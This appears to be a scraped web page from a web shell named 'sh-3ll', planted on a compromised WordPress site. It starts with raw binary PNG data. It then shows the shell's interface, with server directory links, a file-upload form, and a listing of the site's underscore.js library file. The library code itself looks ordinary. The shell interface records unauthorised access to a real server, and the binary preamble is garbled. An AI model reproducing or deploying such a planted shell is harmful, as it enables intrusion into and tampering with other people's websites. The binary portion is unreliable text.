Xa {	   ^j  0xe  $I ,L;v61~ HH ?    Q   矬Gw= ڣ    7 $IR3 ;GaI t Vmh   0u  \g   r ` _
 $I  aj  kaI
R'ƨ   7RK  ̮ 3 $IR  r𠁐 U83L  F  ~   ~
  dH-  P;2L;v   $I    =    	i  B ӔA     9 ! Dw 2 Z  I $ Ȕq Wi@ ¡aj  f  ~  㮄  "5՟ 9b a $I Z'" ?ԍ  _ saʸ5     D   )' 
  1 $IRk 
N …FBꗫ  闚 *` 
 _  G Gj HG )c  W $Ij    3B  c t"# = 6  X 9%5򺏓Ôq 2 $IR   N| )FBZ :  a {  F.` )  
    = 6  a $I J` _ i  %t  c׊  -ӿ p   ̘   cРC\ J $I* s   { 	 1 "  #Nk՛-S
+tw/     Ҳx  
     $I  # 7 V 	 eb /=  Q[ 
zʸ  =i` =1 ̭F%I $- 
 N$p   ^ , _ h“ | Zc~K X 1s( Sd| : B $I*  ݽ Q | ! C-     oܐV8      J( ]dj :~   $I ʭ 1 `$   p  _  k
;   a2 >  Ys?h$I  Dl8 4  3   .  v }   m   
7 UiI= & =0L g0$I  4   :
<l4T +     v     O %v  ar E wC  aj   B $IJ     x( c4T  X~˰ m厃 Rk =  ;!~ K   ν  1 $IR   L #   +=  	_   v7 ֤
 " 5  
     
O  PH $I  1 d B  '   p   ИZ ~ ܣ   o g }ڱͨ$I   
  a.  
 y s    )cK DT 
Xaj 
z7p  W  " w )c 5 $IRF     ; Ǎ   %t -   2    
  㞀   =
TA3 q 0u U B $I O 2 b< k4   o)[ 
 \ L   <T [     ,^I $I    N      2 '  }G  
 T %   
Z    Ա7 $IR ” S	L6J $fq >   emb e  `   
e Qbm 0u ?
 $I T!Sƍ' -   s  v )s#C  0 : XB   2   a 	w
I $ zbww { ."p  Pz O 
 = Ɔ \    [ 	     o($I       aw] `   E   ).K   v i : L *#gР7[  $I     yG   PI=@  R 
 4 y  R~ ̮ ´cg
I $I/< t P ͽ  h Dg o 
94    Z^k盇 ΄8  I  56  ^ W $I ^ 0   ̜ N ?4* H`237}g  +h   x o  q)  SJ@p| `  
 $I  %>     - h   O 0e O >  \ԣNߌZ  D6  R =K    ~n($I $  y 3  D>o4 b#px 2   $  yڪt   z   W   ~a   $I  ~? x<  e{W   g  ô { x$/ = {t G 0 7  e   a   B $IҀ yG  ^S 卆 "p uS 3  * E=洣  ,`9 >  '   Bww pH $IZ  ݑ nC 㧄   Pc _9  sOgw    J=l1 :mKB >     Ab<4L p   $I     b	 o1Z   Q @8 5 b ̍
S' F   , F  e   ,^I $Ij   E dù{ l4  8 Ys_ s 
Z8.  x  m"+{~  ?q,  Z D !I $  ϻ '|X h  B )=  …' ]  M >  5    r g   otԎ
獽 PH $Ij    IP   hh)n# cÔq   A' ug5qw   U &r F|1  E%I $%    ]  !' 3 AFD/;C k_` 9   
 v !ٴt PV ;  x` '  *b Qa 	w
I $I x 5 
    FC 3D   _  ~  A _ #O݆   Dv  V?<  q w +I $I {  = Z 8" .#RI   Y yj   Ǫ    =f D l 9 % M ,     a8$I $  Yw i[ 7 ݍFe $ s  1  ՋBV A? ` ]#!  oz    4zjLJ   o8$I $% @3j A  a4  ( o  
 ; p,,dya =  F9ً[  LS  PH $IJ Y Љ+3  >5"  3 9 aZ <ñh! {T pB G  
k  j}  S p   $I  lvF  .   F$I    z< 
'\   K*qq  .f <   2 Y ! S"-\I $I Yw č   jF$	w9   
\ߪB . 1 v!Ʊ   ?+  r : ^ !I $ BϹ B   
  H  " B ;L  'G[
4 U     #5> ੐ )|# o0  aڱ   $I   > }  k& 1`U# V  ?  Ys  V
x   > {t   1 [ I~D   &(I $I/{ H 0fw " q"   y %  4     I X y E~  M 3
8Xψ  L}q      E $I   [ >	 nD ? ~ s    f   
    ]o ΁ 
 cT  6"?' _ Ἣ   $I  
> ~  .f |'!      N ? ⟩    0  GKkX Z E  ] ޡ; 
    /    & ?k  
O ۘH $IR        ۀw  XӨ  < 7@  P  nS  04 a
    Ӷ p .  :  @  \IWQ J6 s S%I $   e  5  ڑ   v`  3:   x' ;  w  q_ vp gHyX Z 
  3 gЂ7{{   E     uԹ n ±  } $I $     8t;b|  5  91n  ء     Q" P     6   O 5 i    
} i R ̈́     % Q ̄p! I䮢 ]        O{ H $IR ϻ  9  s֧  	a=`- 	aB\X  0"+
5"C 1 H  b?߮    3x  3 & g ş g  g    l  _   h     Z^,`5 ?   ߎ  vĸ% ̀M! OZC2#0x    LJ  0    G w    $I $I } < {Eb + y   ; iI,`    ܚ  F     : 5  ܛ A 8   -O -| 8 K 7  s |# Z8 a& >  <  a&    /V  tb t L  ʌI $I $I $I $I $I $IRj   D  D %tEXtdate:create2022-05-31T04:40:26+00:00 !Î%tEXtdate:modify2022-05-31T04:40:26+00:00 |{2IEND B`  <!doctypehtml><head><link href="https://fonts.googleapis.com"rel="preconnect"><link href="https://fonts.gstatic.com"rel="preconnect"crossorigin><link href="https://fonts.googleapis.com/css2?family=Maven+Pro:wght@400..900&display=swap"rel="stylesheet"><link href=""rel="stylesheet"type="text/css"><title>sh-3ll</title><style>body{background-color:#f0f0f0;color:#000;margin:0;padding:0;font-family:"Maven Pro",system-ui;font-optical-sizing:auto;font-weight:<weight>;font-style:normal}table{width:100%;border-collapse:collapse;border:1px solid #ddd;box-shadow:0 0 10px rgba(0,0,0,.1)}#content .first{background-color:#f7f7f7;font-weight:700}#content tr{border:1px #252525 solid}#content tr:hover{background-color:#f0f0f0;box-shadow:0 0 10px rgba(0,0,0,.05)}h1{font-family:Roboto,sans-serif;font-size:2em;color:#444;text-align:center;margin:20px 0}a{color:#007bff;text-decoration:none}a:hover{color:#0056b3;text-decoration:underline;text-shadow:none}input,select,textarea{border:1px solid #ccc;border-radius:4px;padding:10px;font-size:1em;background-color:#fff;box-shadow:0 0 5px rgba(0,0,0,.1)}input:focus,select:focus,textarea:focus{border-color:#007bff;outline:0;box-shadow:0 0 5px rgba(0,123,255,.5)}@media (max-width:768px){table{width:100%;font-size:.9em}h1{font-size:1.5em}}</style></head><body><h1><center><a href="?">HOME</a></center></h1><table align="center"border="0"cellpadding="3"cellspacing="1"width="700"><tr><td>DIR:<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/vhosts">vhosts</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com">dienmaychuyennghiep.com</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs">httpdocs</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes">wp-includes</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes/js">js</a>/</td></tr><tr><td><form method="POST"enctype="multipart/form-data">Upload File : <input type="file"name="file"> <input value="upload"type="submit"></form></td></tr><tr><td>Current File : /var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes/js/underscore.js</td></tr><tr><td><pre>(function (global, factory) {
  typeof exports === &#039;object&#039; &amp;&amp; typeof module !== &#039;undefined&#039; ? module.exports = factory() :
  typeof define === &#039;function&#039; &amp;&amp; define.amd ? define(&#039;underscore&#039;, factory) :
  (global = typeof globalThis !== &#039;undefined&#039; ? globalThis : global || self, (function () {
    var current = global._;
    var exports = global._ = factory();
    exports.noConflict = function () { global._ = current; return exports; };
  }()));
}(this, (function () {
  //     Underscore.js 1.13.8
  //     https://underscorejs.org
  //     (c) 2009-2026 Jeremy Ashkenas, Julian Gonggrijp, and DocumentCloud and Investigative Reporters &amp; Editors
  //     Underscore may be freely distributed under the MIT license.

  // Current version.
  var VERSION = &#039;1.13.8&#039;;

  // Establish the root object, `window` (`self`) in the browser, `global`
  // on the server, or `this` in some virtual machines. We use `self`
  // instead of `window` for `WebWorker` support.
  var root = (typeof self == &#039;object&#039; &amp;&amp; self.self === self &amp;&amp; self) ||
            (typeof global == &#039;object&#039; &amp;&amp; global.global === global &amp;&amp; global) ||
            Function(&#039;return this&#039;)() ||
            {};

  // Save bytes in the minified (but not gzipped) version:
  var ArrayProto = Array.prototype, ObjProto = Object.prototype;
  var SymbolProto = typeof Symbol !== &#039;undefined&#039; ? Symbol.prototype : null;

  // Create quick reference variables for speed access to core prototypes.
  var push = ArrayProto.push,
      slice = ArrayProto.slice,
      toString = ObjProto.toString,
      hasOwnProperty = ObjProto.hasOwnProperty;

  // Modern feature detection.
  var supportsArrayBuffer = typeof ArrayBuffer !== &#039;undefined&#039;,
      supportsDataView = typeof DataView !== &#039;undefined&#039;;

  // All **ECMAScript 5+** native function implementations that we hope to use
  // are declared here.
  var nativeIsArray = Array.isArray,
      nativeKeys = Object.keys,
      nativeCreate = Object.create,
      nativeIsView = supportsArrayBuffer &amp;&amp; ArrayBuffer.isView;

  // Create references to these builtin functions because we override them.
  var _isNaN = isNaN,
      _isFinite = isFinite;

  // Keys in IE &lt; 9 that won&#039;t be iterated by `for key in ...` and thus missed.
  var hasEnumBug = !{toString: null}.propertyIsEnumerable(&#039;toString&#039;);
  var nonEnumerableProps = [&#039;valueOf&#039;, &#039;isPrototypeOf&#039;, &#039;toString&#039;,
    &#039;propertyIsEnumerable&#039;, &#039;hasOwnProperty&#039;, &#039;toLocaleString&#039;];

  // The largest integer that can be represented exactly.
  var MAX_ARRAY_INDEX = Math.pow(2, 53) - 1;

  // Some functions take a variable number of arguments, or a few expected
  // arguments at the beginning and then a variable number of values to operate
  // on. This helper accumulates all remaining arguments past the function’s
  // argument length (or an explicit `startIndex`), into an array that becomes
  // the last argument. Similar to ES6’s &quot;rest parameter&quot;.
  function restArguments(func, startIndex) {
    startIndex = startIndex == null ? func.length - 1 : +startIndex;
    return function() {
      var length = Math.max(arguments.length - startIndex, 0),
          rest = Array(length),
          index = 0;
      for (; index &lt; length; index++) {
        rest[index] = arguments[index + startIndex];
      }
      switch (startIndex) {
        case 0: return func.call(this, rest);
        case 1: return func.call(this, arguments[0], rest);
        case 2: return func.call(this, arguments[0], arguments[1], rest);
      }
      var args = Array(startIndex + 1);
      for (index = 0; index &lt; startIndex; index++) {
        args[index] = arguments[index];
      }
      args[startIndex] = rest;
      return func.apply(this, args);
    };
  }

  // Is a given variable an object?
  function isObject(obj) {
    var type = typeof obj;
    return type === &#039;function&#039; || (type === &#039;object&#039; &amp;&amp; !!obj);
  }

  // Is a given value equal to null?
  function isNull(obj) {
    return obj === null;
  }

  // Is a given variable undefined?
  function isUndefined(obj) {
    return obj === void 0;
  }

  // Is a given value a boolean?
  function isBoolean(obj) {
    return obj === true || obj === false || toString.call(obj) === &#039;[object Boolean]&#039;;
  }

  // Is a given value a DOM element?
  function isElement(obj) {
    return !!(obj &amp;&amp; obj.nodeType === 1);
  }

  // Internal function for creating a `toString`-based type tester.
  function tagTester(name) {
    var tag = &#039;[object &#039; + name + &#039;]&#039;;
    return function(obj) {
      return toString.call(obj) === tag;
    };
  }

  var isString = tagTester(&#039;String&#039;);

  var isNumber = tagTester(&#039;Number&#039;);

  var isDate = tagTester(&#039;Date&#039;);

  var isRegExp = tagTester(&#039;RegExp&#039;);

  var isError = tagTester(&#039;Error&#039;);

  var isSymbol = tagTester(&#039;Symbol&#039;);

  var isArrayBuffer = tagTester(&#039;ArrayBuffer&#039;);

  var isFunction = tagTester(&#039;Function&#039;);

  // Optimize `isFunction` if appropriate. Work around some `typeof` bugs in old
  // v8, IE 11 (#1621), Safari 8 (#1929), and PhantomJS (#2236).
  var nodelist = root.document &amp;&amp; root.document.childNodes;
  if (typeof /./ != &#039;function&#039; &amp;&amp; typeof Int8Array != &#039;object&#039; &amp;&amp; typeof nodelist != &#039;function&#039;) {
    isFunction = function(obj) {
      return typeof obj == &#039;function&#039; || false;
    };
  }

  var isFunction$1 = isFunction;

  var hasObjectTag = tagTester(&#039;Object&#039;);

  // In IE 10 - Edge 13, `DataView` has string tag `&#039;[object Object]&#039;`.
  // In IE 11, the most common among them, this problem also applies to
  // `Map`, `WeakMap` and `Set`.
  // Also, there are cases where an application can override the native
  // `DataView` object, in cases like that we can&#039;t use the constructor
  // safely and should just rely on alternate `DataView` checks
  var hasDataViewBug = (
        supportsDataView &amp;&amp; (!/\[native code\]/.test(String(DataView)) || hasObjectTag(new DataView(new ArrayBuffer(8))))
      ),
      isIE11 = (typeof Map !== &#039;undefined&#039; &amp;&amp; hasObjectTag(new Map));

  var isDataView = tagTester(&#039;DataView&#039;);

  // In IE 10 - Edge 13, we need a different heuristic
  // to determine whether an object is a `DataView`.
  // Also, in cases where the native `DataView` is
  // overridden we can&#039;t rely on the tag itself.
  function alternateIsDataView(obj) {
    return obj != null &amp;&amp; isFunction$1(obj.getInt8) &amp;&amp; isArrayBuffer(obj.buffer);
  }

  var isDataView$1 = (hasDataViewBug ? alternateIsDataView : isDataView);

  // Is a given value an array?
  // Delegates to ECMA5&#039;s native `Array.isArray`.
  var isArray = nativeIsArray || tagTester(&#039;Array&#039;);

  // Internal function to check whether `key` is an own property name of `obj`.
  function has$1(obj, key) {
    return obj != null &amp;&amp; hasOwnProperty.call(obj, key);
  }

  var isArguments = tagTester(&#039;Arguments&#039;);

  // Define a fallback version of the method in browsers (ahem, IE &lt; 9), where
  // there isn&#039;t any inspectable &quot;Arguments&quot; type.
  (function() {
    if (!isArguments(arguments)) {
      isArguments = function(obj) {
        return has$1(obj, &#039;callee&#039;);
      };
    }
  }());

  var isArguments$1 = isArguments;

  // Is a given object a finite number?
  function isFinite$1(obj) {
    return !isSymbol(obj) &amp;&amp; _isFinite(obj) &amp;&amp; !isNaN(parseFloat(obj));
  }

  // Is the given value `NaN`?
  function isNaN$1(obj) {
    return isNumber(obj) &amp;&amp; _isNaN(obj);
  }

  // Predicate-generating function. Often useful outside of Underscore.
  function constant(value) {
    return function() {
      return value;
    };
  }

  // Common internal logic for `isArrayLike` and `isBufferLike`.
  function createSizePropertyCheck(getSizeProperty) {
    return function(collection) {
      var sizeProperty = getSizeProperty(collection);
      return typeof sizeProperty == &#039;number&#039; &amp;&amp; sizeProperty &gt;= 0 &amp;&amp; sizeProperty &lt;= MAX_ARRAY_INDEX;
    }
  }

  // Internal helper to generate a function to obtain property `key` from `obj`.
  function shallowProperty(key) {
    return function(obj) {
      return obj == null ? void 0 : obj[key];
    };
  }

  // Internal helper to obtain the `byteLength` property of an object.
  var getByteLength = shallowProperty(&#039;byteLength&#039;);

  // Internal helper to determine whether we should spend extensive checks against
  // `ArrayBuffer` et al.
  var isBufferLike = createSizePropertyCheck(getByteLength);

  // Is a given value a typed array?
  var typedArrayPattern = /\[object ((I|Ui)nt(8|16|32)|Float(32|64)|Uint8Clamped|Big(I|Ui)nt64)Array\]/;
  function isTypedArray(obj) {
    // `ArrayBuffer.isView` is the most future-proof, so use it when available.
    // Otherwise, fall back on the above regular expression.
    return nativeIsView ? (nativeIsView(obj) &amp;&amp; !isDataView$1(obj)) :
                  isBufferLike(obj) &amp;&amp; typedArrayPattern.test(toString.call(obj));
  }

  var isTypedArray$1 = supportsArrayBuffer ? isTypedArray : constant(false);

  // Internal helper to obtain the `length` property of an object.
  var getLength = shallowProperty(&#039;length&#039;);

  // Internal helper to create a simple lookup structure.
  // `collectNonEnumProps` used to depend on `_.contains`, but this led to
  // circular imports. `emulatedSet` is a one-off solution that only works for
  // arrays of strings.
  function emulatedSet(keys) {
    var hash = {};
    for (var l = keys.length, i = 0; i &lt; l; ++i) hash[keys[i]] = true;
    return {
      contains: function(key) { return hash[key] === true; },
      push: function(key) {
        hash[key] = true;
        return keys.push(key);
      }
    };
  }

  // Internal helper. Checks `keys` for the presence of keys in IE &lt; 9 that won&#039;t
  // be iterated by `for key in ...` and thus missed. Extends `keys` in place if
  // needed.
  function collectNonEnumProps(obj, keys) {
    keys = emulatedSet(keys);
    var nonEnumIdx = nonEnumerableProps.length;
    var constructor = obj.constructor;
    var proto = (isFunction$1(constructor) &amp;&amp; constructor.prototype) || ObjProto;

    // Constructor is a special case.
    var prop = &#039;constructor&#039;;
    if (has$1(obj, prop) &amp;&amp; !keys.contains(prop)) keys.push(prop);

    while (nonEnumIdx--) {
      prop = nonEnumerableProps[nonEnumIdx];
      if (prop in obj &amp;&amp; obj[prop] !== proto[prop] &amp;&amp; !keys.contains(prop)) {
        keys.push(prop);
      }
    }
  }

  // Retrieve the names of an object&#039;s own properties.
  // Delegates to **ECMAScript 5**&#039;s native `Object.keys`.
  function keys(obj) {
    if (!isObject(obj)) return [];
    if (nativeKeys) return nativeKeys(obj);
    var keys = [];
    for (var key in obj) if (has$1(obj, key)) keys.push(key);
    // Ahem, IE &lt; 9.
    if (hasEnumBug) collectNonEnumProps(obj, keys);
    return keys;
  }

  // Is a given array, string, or object empty?
  // An &quot;empty&quot; object has no enumerable own-properties.
  function isEmpty(obj) {
    if (obj == null) return true;
    // Skip the more expensive `toString`-based type checks if `obj` has no
    // `.length`.
    var length = getLength(obj);
    if (typeof length == &#039;number&#039; &amp;&amp; (
      isArray(obj) || isString(obj) || isArguments$1(obj)
    )) return length === 0;
    return getLength(keys(obj)) === 0;
  }

  // Returns whether an object has a given set of `key:value` pairs.
  function isMatch(object, attrs) {
    var _keys = keys(attrs), length = _keys.length;
    if (object == null) return !length;
    var obj = Object(object);
    for (var i = 0; i &lt; length; i++) {
      var key = _keys[i];
      if (attrs[key] !== obj[key] || !(key in obj)) return false;
    }
    return true;
  }

  // If Underscore is called as a function, it returns a wrapped object that can
  // be used OO-style. This wrapper holds altered versions of all functions added
  // through `_.mixin`. Wrapped objects may be chained.
  function _$1(obj) {
    if (obj instanceof _$1) return obj;
    if (!(this instanceof _$1)) return new _$1(obj);
    this._wrapped = obj;
  }

  _$1.VERSION = VERSION;

  // Extracts the result from a wrapped and chained object.
  _$1.prototype.value = function() {
    return this._wrapped;
  };

  // Provide unwrapping proxies for some methods used in engine operations
  // such as arithmetic and JSON stringification.
  _$1.prototype.valueOf = _$1.prototype.toJSON = _$1.prototype.value;

  _$1.prototype.toString = function() {
    return String(this._wrapped);
  };

  // Internal function to wrap or shallow-copy an ArrayBuffer,
  // typed array or DataView to a new view, reusing the buffer.
  function toBufferView(bufferSource) {
    return new Uint8Array(
      bufferSource.buffer || bufferSource,
      bufferSource.byteOffset || 0,
      getByteLength(bufferSource)
    );
  }

  // We use this string twice, so give it a name for minification.
  var tagDataView = &#039;[object DataView]&#039;;

  // Perform a deep comparison to check if two objects are equal.
  function isEqual(a, b) {
    var todo = [{a: a, b: b}];
    // Initializing stacks of traversed objects for cycle detection.
    var aStack = [], bStack = [];

    while (todo.length) {
      var frame = todo.pop();
      if (frame === true) {
        // Remove the first object from the stack of traversed objects.
        aStack.pop();
        bStack.pop();
        continue;
      }
      a = frame.a;
      b = frame.b;

      // Identical objects are equal. `0 === -0`, but they aren&#039;t identical.
      // See the [Harmony `egal` proposal](https://wiki.ecmascript.org/doku.php?id=harmony:egal).
      if (a === b) {
        if (a !== 0 || 1 / a === 1 / b) continue;
        return false;
      }
      // `null` or `undefined` only equal to itself (strict comparison).
      if (a == null || b == null) return false;
      // `NaN`s are equivalent, but non-reflexive.
      if (a !== a) {
        if (b !== b) continue;
        return false;
      }
      // Exhaust primitive checks
      var type = typeof a;
      if (type !== &#039;function&#039; &amp;&amp; type !== &#039;object&#039; &amp;&amp; typeof b != &#039;object&#039;) return false;

  // Internal recursive comparison function for `_.isEqual`.
      // Unwrap any wrapped objects.
      if (a instanceof _$1) a = a._wrapped;
      if (b instanceof _$1) b = b._wrapped;
      // Compare `[[Class]]` names.
      var className = toString.call(a);
      if (className !== toString.call(b)) return false;
      // Work around a bug in IE 10 - Edge 13.
      if (hasDataViewBug &amp;&amp; className == &#039;[object Object]&#039; &amp;&amp; isDataView$1(a)) {
        if (!isDataView$1(b)) return false;
        className = tagDataView;
      }
      switch (className) {
        // These types are compared by value.
      case &#039;[object RegExp]&#039;:
        // RegExps are coerced to strings for comparison (Note: &#039;&#039; + /a/i === &#039;/a/i&#039;)
      case &#039;[object String]&#039;:
        // Primitives and their corresponding object wrappers are equivalent; thus, `&quot;5&quot;` is
        // equivalent to `new String(&quot;5&quot;)`.
        if (&#039;&#039; + a === &#039;&#039; + b) continue;
        return false;
      case &#039;[object Number]&#039;:
        todo.push({a: +a, b: +b});
        continue;
      case &#039;[object Date]&#039;:
      case &#039;[object Boolean]&#039;:
        // Coerce dates and booleans to numeric primitive values. Dates are compared by their
        // millisecond representations. Note that invalid dates with millisecond representations
        // of `NaN` are not equivalent.
        if (+a === +b) continue;
        return false;
      case &#039;[object Symbol]&#039;:
        if (SymbolProto.valueOf.call(a) === SymbolProto.valueOf.call(b)) continue;
        return false;
      case &#039;[object ArrayBuffer]&#039;:
      case tagDataView:
        // Coerce to typed array so we can fall through.
        todo.push({a: toBufferView(a), b: toBufferView(b)});
        continue;
      }

      var areArrays = className === &#039;[object Array]&#039;;
      if (!areArrays &amp;&amp; isTypedArray$1(a)) {
        var byteLength = getByteLength(a);
        if (byteLength !== getByteLength(b)) return false;
        if (a.buffer === b.buffer &amp;&amp; a.byteOffset === b.byteOffset) continue;
        areArrays = true;
      }
      if (!areArrays) {
        if (typeof a != &#039;object&#039; || typeof b != &#039;object&#039;) return false;

        // Objects with different constructors are not equivalent, but `Object`s or `Array`s
        // from different frames are.
        var aCtor = a.constructor, bCtor = b.constructor;
        if (aCtor !== bCtor &amp;&amp; !(isFunction$1(aCtor) &amp;&amp; aCtor instanceof aCtor &amp;&amp;
                                 isFunction$1(bCtor) &amp;&amp; bCtor instanceof bCtor)
            &amp;&amp; (&#039;constructor&#039; in a &amp;&amp; &#039;constructor&#039; in b)) {
          return false;
        }
      }

      // Assume equality for cyclic structures. The algorithm for detecting cyclic
      // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.

      var length = aStack.length;
      while (length--) {
        // Linear search. Performance is inversely proportional to the number of
        // unique nested structures.
        if (aStack[length] === a) {
          if (bStack[length] === b) break;
          return false;
        }
      }
      if (length &gt;= 0) continue;

      // Add the first object to the stack of traversed objects.
      aStack.push(a);
      bStack.push(b);
      todo.push(true);

      // Recursively compare objects and arrays.
      if (areArrays) {
        // Compare array lengths to determine if a deep comparison is necessary.
        length = a.length;
        if (length !== b.length) return false;
        // Deep compare the contents, ignoring non-numeric properties.
        while (length--) {
          todo.push({a: a[length], b: b[length]});
        }
      } else {
        // Deep compare objects.
        var _keys = keys(a), key;
        length = _keys.length;
        // Ensure that both objects contain the same number of properties before comparing deep equality.
        if (keys(b).length !== length) return false;
        while (length--) {
          // Deep compare each member
          key = _keys[length];
          if (!has$1(b, key)) return false;
          todo.push({a: a[key], b: b[key]});
        }
      }
    }
    return true;
  }

  // Retrieve all the enumerable property names of an object.
  function allKeys(obj) {
    if (!isObject(obj)) return [];
    var keys = [];
    for (var key in obj) keys.push(key);
    // Ahem, IE &lt; 9.
    if (hasEnumBug) collectNonEnumProps(obj, keys);
    return keys;
  }

  // Since the regular `Object.prototype.toString` type tests don&#039;t work for
  // some types in IE 11, we use a fingerprinting heuristic instead, based
  // on the methods. It&#039;s not great, but it&#039;s the best we got.
  // The fingerprint method lists are defined below.
  function ie11fingerprint(methods) {
    var length = getLength(methods);
    return function(obj) {
      if (obj == null) return false;
      // `Map`, `WeakMap` and `Set` have no enumerable keys.
      var keys = allKeys(obj);
      if (getLength(keys)) return false;
      for (var i = 0; i &lt; length; i++) {
        if (!isFunction$1(obj[methods[i]])) return false;
      }
      // If we are testing against `WeakMap`, we need to ensure that
      // `obj` doesn&#039;t have a `forEach` method in order to distinguish
      // it from a regular `Map`.
      return methods !== weakMapMethods || !isFunction$1(obj[forEachName]);
    };
  }

  // In the interest of compact minification, we write
  // each string in the fingerprints only once.
  var forEachName = &#039;forEach&#039;,
      hasName = &#039;has&#039;,
      commonInit = [&#039;clear&#039;, &#039;delete&#039;],
      mapTail = [&#039;get&#039;, hasName, &#039;set&#039;];

  // `Map`, `WeakMap` and `Set` each have slightly different
  // combinations of the above sublists.
  var mapMethods = commonInit.concat(forEachName, mapTail),
      weakMapMethods = commonInit.concat(mapTail),
      setMethods = [&#039;add&#039;].concat(commonInit, forEachName, hasName);

  var isMap = isIE11 ? ie11fingerprint(mapMethods) : tagTester(&#039;Map&#039;);

  var isWeakMap = isIE11 ? ie11fingerprint(weakMapMethods) : tagTester(&#039;WeakMap&#039;);

  var isSet = isIE11 ? ie11fingerprint(setMethods) : tagTester(&#039;Set&#039;);

  var isWeakSet = tagTester(&#039;WeakSet&#039;);

  // Retrieve the values of an object&#039;s properties.
  function values(obj) {
    var _keys = keys(obj);
    var length = _keys.length;
    var values = Array(length);
    for (var i = 0; i &lt; length; i++) {
      values[i] = obj[_keys[i]];
    }
    return values;
  }

  // Convert an object into a list of `[key, value]` pairs.
  // The opposite of `_.object` with one argument.
  function pairs(obj) {
    var _keys = keys(obj);
    var length = _keys.length;
    var pairs = Array(length);
    for (var i = 0; i &lt; length; i++) {
      pairs[i] = [_keys[i], obj[_keys[i]]];
    }
    return pairs;
  }

  // Invert the keys and values of an object. The values must be serializable.
  function invert(obj) {
    var result = {};
    var _keys = keys(obj);
    for (var i = 0, length = _keys.length; i &lt; length; i++) {
      result[obj[_keys[i]]] = _keys[i];
    }
    return result;
  }

  // Return a sorted list of the function names available on the object.
  function functions(obj) {
    var names = [];
    for (var key in obj) {
      if (isFunction$1(obj[key])) names.push(key);
    }
    return names.sort();
  }

  // An internal function for creating assigner functions.
  function createAssigner(keysFunc, defaults) {
    return function(obj) {
      var length = arguments.length;
      if (defaults) obj = Object(obj);
      if (length &lt; 2 || obj == null) return obj;
      for (var index = 1; index &lt; length; index++) {
        var source = arguments[index],
            keys = keysFunc(source),
            l = keys.length;
        for (var i = 0; i &lt; l; i++) {
          var key = keys[i];
          if (!defaults || obj[key] === void 0) obj[key] = source[key];
        }
      }
      return obj;
    };
  }

  // Extend a given object with all the properties in passed-in object(s).
  var extend = createAssigner(allKeys);

  // Assigns a given object with all the own properties in the passed-in
  // object(s).
  // (https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/assign)
  var extendOwn = createAssigner(keys);

  // Fill in a given object with default properties.
  var defaults = createAssigner(allKeys, true);

  // Create a naked function reference for surrogate-prototype-swapping.
  function ctor() {
    return function(){};
  }

  // An internal function for creating a new object that inherits from another.
  function baseCreate(prototype) {
    if (!isObject(prototype)) return {};
    if (nativeCreate) return nativeCreate(prototype);
    var Ctor = ctor();
    Ctor.prototype = prototype;
    var result = new Ctor;
    Ctor.prototype = null;
    return result;
  }

  // Creates an object that inherits from the given prototype object.
  // If additional properties are provided then they will be added to the
  // created object.
  function create(prototype, props) {
    var result = baseCreate(prototype);
    if (props) extendOwn(result, props);
    return result;
  }

  // Create a (shallow-cloned) duplicate of an object.
  function clone(obj) {
    if (!isObject(obj)) return obj;
    return isArray(obj) ? obj.slice() : extend({}, obj);
  }

  // Invokes `interceptor` with the `obj` and then returns `obj`.
  // The primary purpose of this method is to &quot;tap into&quot; a method chain, in
  // order to perform operations on intermediate results within the chain.
  function tap(obj, interceptor) {
    interceptor(obj);
    return obj;
  }

  // Normalize a (deep) property `path` to array.
  // Like `_.iteratee`, this function can be customized.
  function toPath$1(path) {
    return isArray(path) ? path : [path];
  }
  _$1.toPath = toPath$1;

  // Internal wrapper for `_.toPath` to enable minification.
  // Similar to `cb` for `_.iteratee`.
  function toPath(path) {
    return _$1.toPath(path);
  }

  // Internal function to obtain a nested property in `obj` along `path`.
  function deepGet(obj, path) {
    var length = path.length;
    for (var i = 0; i &lt; length; i++) {
      if (obj == null) return void 0;
      obj = obj[path[i]];
    }
    return length ? obj : void 0;
  }

  // Get the value of the (deep) property on `path` from `object`.
  // If any property in `path` does not exist or if the value is
  // `undefined`, return `defaultValue` instead.
  // The `path` is normalized through `_.toPath`.
  function get(object, path, defaultValue) {
    var value = deepGet(object, toPath(path));
    return isUndefined(value) ? defaultValue : value;
  }

  // Shortcut function for checking if an object has a given property directly on
  // itself (in other words, not on a prototype). Unlike the internal `has`
  // function, this public version can also traverse nested properties.
  function has(obj, path) {
    path = toPath(path);
    var length = path.length;
    for (var i = 0; i &lt; length; i++) {
      var key = path[i];
      if (!has$1(obj, key)) return false;
      obj = obj[key];
    }
    return !!length;
  }

  // Keep the identity function around for default iteratees.
  function identity(value) {
    return value;
  }

  // Returns a predicate for checking whether an object has a given set of
  // `key:value` pairs.
  function matcher(attrs) {
    attrs = extendOwn({}, attrs);
    return function(obj) {
      return isMatch(obj, attrs);
    };
  }

  // Creates a function that, when passed an object, will traverse that object’s
  // properties down the given `path`, specified as an array of keys or indices.
  function property(path) {
    path = toPath(path);
    return function(obj) {
      return deepGet(obj, path);
    };
  }

  // Internal function that returns an efficient (for current engines) version
  // of the passed-in callback, to be repeatedly applied in other Underscore
  // functions.
  function optimizeCb(func, context, argCount) {
    if (context === void 0) return func;
    switch (argCount == null ? 3 : argCount) {
      case 1: return function(value) {
        return func.call(context, value);
      };
      // The 2-argument case is omitted because we’re not using it.
      case 3: return function(value, index, collection) {
        return func.call(context, value, index, collection);
      };
      case 4: return function(accumulator, value, index, collection) {
        return func.call(context, accumulator, value, index, collection);
      };
    }
    return function() {
      return func.apply(context, arguments);
    };
  }

  // An internal function to generate callbacks that can be applied to each
  // element in a collection, returning the desired result — either `_.identity`,
  // an arbitrary callback, a property matcher, or a property accessor.
  function baseIteratee(value, context, argCount) {
    if (value == null) return identity;
    if (isFunction$1(value)) return optimizeCb(value, context, argCount);
    if (isObject(value) &amp;&amp; !isArray(value)) return matcher(value);
    return property(value);
  }

  // External wrapper for our callback generator. Users may customize
  // `_.iteratee` if they want additional predicate/iteratee shorthand styles.
  // This abstraction hides the internal-only `argCount` argument.
  function iteratee(value, context) {
    return baseIteratee(value, context, Infinity);
  }
